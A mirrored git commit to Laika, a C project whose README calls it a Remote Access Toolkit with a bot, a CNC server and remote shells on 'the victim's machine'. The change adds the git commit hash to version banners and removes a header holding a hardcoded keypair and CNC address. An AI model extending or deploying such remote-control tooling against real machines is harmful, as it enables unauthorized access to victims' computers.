1
0
mirror of https://github.com/CPunch/Laika.git synced 2024-11-21 20:40:05 +00:00

Added commit hash to version display

This commit is contained in:
CPunch 2022-04-06 01:07:16 -05:00
parent 5fcdb53740
commit 9084afa738
6 changed files with 14 additions and 18 deletions

View File

@ -4,6 +4,8 @@ project(Laika)
set(CMAKE_C_STANDARD 11) set(CMAKE_C_STANDARD 11)
set(CMAKE_C_STANDARD_REQUIRED ON) set(CMAKE_C_STANDARD_REQUIRED ON)
execute_process(COMMAND git rev-parse --short HEAD OUTPUT_VARIABLE GIT_VERSION OUTPUT_STRIP_TRAILING_WHITESPACE)
# Set the project as the default startup project for VS # Set the project as the default startup project for VS
set_property(DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR} PROPERTY VS_STARTUP_PROJECT LaikaLib) set_property(DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR} PROPERTY VS_STARTUP_PROJECT LaikaLib)

View File

@ -12,7 +12,7 @@ Laika is a simple Remote Access Toolkit stack for educational purposes. It allow
Some notable features thus far: Some notable features thus far:
- [X] Lightweight, the bot alone is 270kb (22kb if not statically linked with LibSodium) and uses very little resources minimizing Laika's footprint. - [X] Lightweight, the bot alone is 270kb (22kb if not statically linked with LibSodium) and uses very little resources minimizing Laika's footprint.
- [X] Authentication & packet encryption using LibSodium and a predetermined public CNC key. - [X] Authentication & packet encryption using LibSodium and a predetermined public CNC key.
- [X] Server and Shell configuration through `.ini` files. - [X] Server and Shell configuration through `.ini` files.
- [X] Ability to open shells remotely on the victim's machine. - [X] Ability to open shells remotely on the victim's machine.
- [ ] Ability to relay socket connections to/from the victim's machine. - [ ] Ability to relay socket connections to/from the victim's machine.
- [ ] Uses obfuscation techniques also seen in the wild (string obfuscation, tiny VMs executing sensitive operations, etc.) - [ ] Uses obfuscation techniques also seen in the wild (string obfuscation, tiny VMs executing sensitive operations, etc.)

View File

@ -1,9 +1,13 @@
#include <stdio.h> #include <stdio.h>
#include "ltask.h" #include "ltask.h"
#include "lconfig.h"
#include "cnc.h" #include "cnc.h"
#include "ini.h" #include "ini.h"
#define STRING(x) #x
#define MACROLITSTR(x) STRING(x)
struct sLaika_taskService tService; struct sLaika_taskService tService;
static int iniHandler(void* user, const char* section, const char* name, const char* value) { static int iniHandler(void* user, const char* section, const char* name, const char* value) {
@ -38,8 +42,11 @@ bool loadConfig(struct sLaika_cnc *cnc, char *config) {
} }
int main(int argv, char *argc[]) { int main(int argv, char *argc[]) {
struct sLaika_cnc *cnc = laikaC_newCNC(atoi(LAIKA_CNC_PORT)); struct sLaika_cnc *cnc;
printf("Laika v" MACROLITSTR(LAIKA_VERSION_MAJOR) "." MACROLITSTR(LAIKA_VERSION_MINOR) "-" LAIKA_VERSION_COMMIT "\n");
cnc = laikaC_newCNC(atoi(LAIKA_CNC_PORT));
/* load config file */ /* load config file */
if (argv >= 2 && !loadConfig(cnc, argc[1])) if (argv >= 2 && !loadConfig(cnc, argc[1]))
return 1; return 1;

View File

@ -1,14 +0,0 @@
#ifndef LAIKA_CONFIG_H
#define LAIKA_CONFIG_H
/* version info */
#define LAIKA_VERSION_MAJOR 0
#define LAIKA_VERSION_MINOR 1
/* keys */
#define LAIKA_PUBKEY "40d5534aca77d1f5ec2bbe79dd9d0f52a78148918f95814404cefe97c34c5c27"
#define LAIKA_PRIVKEY "90305aa77023d1c1e03265c3b6af046eb58d6ec8ba650b0dffed01379feab8cc"
#define LAIKA_CNC_IP "127.0.0.1"
#define LAIKA_CNC_PORT "13337"
#endif

View File

@ -4,6 +4,7 @@
/* version info */ /* version info */
#define LAIKA_VERSION_MAJOR @LAIKA_VERSION_MAJOR@ #define LAIKA_VERSION_MAJOR @LAIKA_VERSION_MAJOR@
#define LAIKA_VERSION_MINOR @LAIKA_VERSION_MINOR@ #define LAIKA_VERSION_MINOR @LAIKA_VERSION_MINOR@
#define LAIKA_VERSION_COMMIT "@GIT_VERSION@"
/* keys */ /* keys */
#define LAIKA_PUBKEY "@LAIKA_PUBKEY@" #define LAIKA_PUBKEY "@LAIKA_PUBKEY@"

View File

@ -7,7 +7,7 @@
#define STRING(x) #x #define STRING(x) #x
#define MACROLITSTR(x) STRING(x) #define MACROLITSTR(x) STRING(x)
const char *LOGO = "\n\t██╗ █████╗ ██╗██╗ ██╗ █████╗\n\t██║ ██╔══██╗██║██║ ██╔╝██╔══██╗\n\t██║ ███████║██║█████╔╝ ███████║\n\t██║ ██╔══██║██║██╔═██╗ ██╔══██║\n\t███████╗██║ ██║██║██║ ██╗██║ ██║\n\t╚══════╝╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═╝ ╚═╝"; const char *LOGO = "\n ██╗ █████╗ ██╗██╗ ██╗ █████╗\n ██║ ██╔══██╗██║██║ ██╔╝██╔══██╗\n ██║ ███████║██║█████╔╝ ███████║\n ██║ ██╔══██║██║██╔═██╗ ██╔══██║\n ███████╗██║ ██║██║██║ ██╗██║ ██║\n ╚══════╝╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═╝ ╚═╝";
static int iniHandler(void* user, const char* section, const char* name, const char* value) { static int iniHandler(void* user, const char* section, const char* name, const char* value) {
tShell_client *client = (tShell_client*)user; tShell_client *client = (tShell_client*)user;
@ -47,7 +47,7 @@ int main(int argv, char *argc[]) {
bool printPrompt = false; bool printPrompt = false;
shellT_printf("%s%s\n%s", shellT_getForeColor(TERM_BRIGHT_RED), LOGO, shellT_getForeColor(TERM_BRIGHT_WHITE)); shellT_printf("%s%s\n%s", shellT_getForeColor(TERM_BRIGHT_RED), LOGO, shellT_getForeColor(TERM_BRIGHT_WHITE));
shellT_printf("\t made with %s<3%s by CPunch - %s\n\nType 'help' for a list of commands\n\n", shellT_getForeColor(TERM_BRIGHT_RED), shellT_getForeColor(TERM_BRIGHT_WHITE), "v" MACROLITSTR(LAIKA_VERSION_MAJOR) "." MACROLITSTR(LAIKA_VERSION_MINOR)); shellT_printf(" made with %s<3%s by CPunch - %s\n\nType 'help' for a list of commands\n\n", shellT_getForeColor(TERM_BRIGHT_RED), shellT_getForeColor(TERM_BRIGHT_WHITE), "v" MACROLITSTR(LAIKA_VERSION_MAJOR) "." MACROLITSTR(LAIKA_VERSION_MINOR) "-" LAIKA_VERSION_COMMIT);
shellC_init(&client); shellC_init(&client);